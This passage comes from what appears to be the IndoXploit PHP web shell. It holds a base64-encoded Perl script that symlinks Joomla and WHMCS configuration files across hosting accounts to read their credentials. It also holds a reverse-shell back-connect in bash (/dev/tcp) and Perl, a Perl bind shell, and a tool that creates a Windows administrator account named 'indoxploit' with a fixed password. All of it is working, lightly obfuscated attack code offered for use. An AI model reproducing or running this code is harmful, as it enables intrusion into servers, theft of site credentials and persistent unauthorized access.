gl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3YyL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV0hNQ1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG1jczEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE1DL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV2htYy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9IT1NUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvc3Qvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TVVBQT1JURVMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kb21haW5zL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZG9tYWluL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hPU1RJTkcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0FSVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NhcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jYXJ0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvT1JERVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9PcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL29yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UQVJFQS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1N1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTElORy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGxpbmcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQlVZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTUFOQUdFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudFN1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NIRUNLT1VUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2hlY2tvdXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jaGVja291dC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU2FsZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zYWxlcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CaWxsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmlsbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvUHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9BY2NvdW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYWNjb3VudC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9Vc2VyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdXNlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50cy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9teS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wYW5lbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50ZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1cHBvcnQvb3JkZXIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9DQopOw0KZm9yZWFjaCAoQGFycmF5KXsNCglteSAkY29uZmlnbnlhID0gJF8tPntjb25maWdkaXJ9Ow0KCW15ICR0eXBlY29uZmlnID0gJF8tPnt0eXBlfTsNCglzeW1saW5rKCIkY29uZmlnbnlhIiwiaWR4X3N5bS8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiKTsNCglta2RpciAiaWR4X3N5bS8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiOw0KCXN5bWxpbmsoIiRjb25maWdueWEiLCJpZHhfc3ltLyR1c2VybnlhLSR0eXBlY29uZmlnLnR4dC8weDE5OTkudHh0Iik7DQoJY29weSgiaWR4X3N5bS9uZW11LnR4dCIsImlkeF9zeW0vJHVzZXJueWEtJHR5cGVjb25maWcudHh0Ly5odGFjY2VzcyIpIDsNCgl9DQp9DQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50ICI8aGVhZD48dGl0bGU+QnlwYXNzIDQwNCBCeSAweDE5OTk8L3RpdGxlPjwvaGVhZD4iOw0KcHJpbnQgJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjU7IHVybD1pZHhfc3ltIi8+JzsNCnByaW50ICc8Ym9keT48Y2VudGVyPjxoMT4weDE5OTkgTmV2ZXIgRGllPC9oMT4nOw0KcHJpbnQgJzxhIGhyZWY9ImlkeF9zeW0iPktsaWsgRGlzaW5pPC9hPic7DQp1bmxpbmsoJDApOw==";
  993. save("/tmp/symlink.pl", "w", base64_decode($sym['code']));
  994. exe("perl /tmp/symlink.pl");
  995. sleep(1);
  996. @unlink("/tmp/symlink.pl");
  997. @unlink("passwd.txt");
  998. @unlink("idx_sym/pas.txt");
  999. @unlink("idx_sym/nemu.txt");
  1000. }
  1001.  
  1002. print "<div style='background: #ffffff; width: 100%; height: 100%'>";
  1003. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_sym/' frameborder='0' scrolling='yes'></iframe>";
  1004. print "</div>";
  1005. }
  1006. elseif($toolsname === "network") {
  1007. $args = explode(" ", $args);
  1008.  
  1009. if($args[0] === "bc") {
  1010. if(empty($args[1])) die(color(1, 1, "Set Your IP for BackConnect!"));
  1011. if(empty($args[2])) die(color(1, 1, "Set Your PORT for BackConnect!"));
  1012. if(empty($args[3])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
  1013.  
  1014. if($args[3] === "bash") {
  1015. exe("/bin/bash -i >& /dev/tcp/".$args[1]."/".$args[2]." 0>&1");
  1016. }
  1017. elseif($args[3] === "perl") {
  1018. $bc['code'] = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1019. save("/tmp/bc.pl", "w", base64_decode($bc['code']));
  1020. $bc['exec'] = exe("perl /tmp/bc.pl ".$args[1]." ".$args[2]." 1>/dev/null 2>&1 &");
  1021. sleep(1);
  1022. print "<pre>".$bc['exec']."\n".exe("ps aux | grep bc.pl")."</pre>";
  1023. @unlink("/tmp/bc.pl");
  1024. }
  1025. }
  1026. elseif($args[0] === "bp") {
  1027. if(empty($args[1])) die(color(1, 1, "Set Your PORT for Bind Port!"));
  1028. if(empty($args[2])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
  1029.  
  1030. if($args[2] === "perl") {
  1031. $bp['code'] = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1032. save("/tmp/bp.pl", "w", base64_decode($bp['code']));
  1033. $bp['exec'] = exe("perl /tmp/bp.pl ".$args[1]." 1>/dev/null 2>&1 &");
  1034. sleep(1);
  1035. print "<pre>".$bp['exec']."\n".exe("ps aux | grep bp.pl")."</pre>";
  1036. @unlink("/tmp/bp.pl");
  1037. }
  1038. }
  1039. else {
  1040. print color(1, 1, "Unknown '".$args[0]."'");
  1041. }
  1042. }
  1043. elseif($toolsname === "krdp") {
  1044. $args = explode(" ", $args);
  1045.  
  1046. if(OS() !== "Windows") die(color(1, 1, "Just For Windows Server"));
  1047. if(preg_match("/indoxploit/", exe("net user"))) die(color(1, 1, "[INFO] username 'indoxploit' already exists."));
  1048.  
  1049. $add_user = exe("net user indoxploit indoxploit /add");
  1050. $add_groups1 = exe("net localgroup Administrators indoxploit /add");
  1051. $add_groups2 = exe("net localgroup Administrator indoxploit /add");
  1052. $add_groups3 = exe("net localgroup Administrateur indoxploit /add");
  1053.  
  1054. print "[ RDP ACCOUNT INFO ]<br>
  1055. ------------------------------<br>
  1056. IP: ".color(1, 2, $GLOBALS['SERVERIP'])."<br>
  1057. Username: ".color(1, 2, "indoxploit")."<br>
  1058. Password: ".color(1, 2, "indoxploit")."<br>
  1059. ------------------------------<br><br>
  1060. [ STATUS ]<br>
  1061. ------------------------------<br>
  1062. ";
  1063.  
  1064. if($add_user) {
  1065. print "[add user] -> ".color(1, 2, "SUCCESS")."<br>";
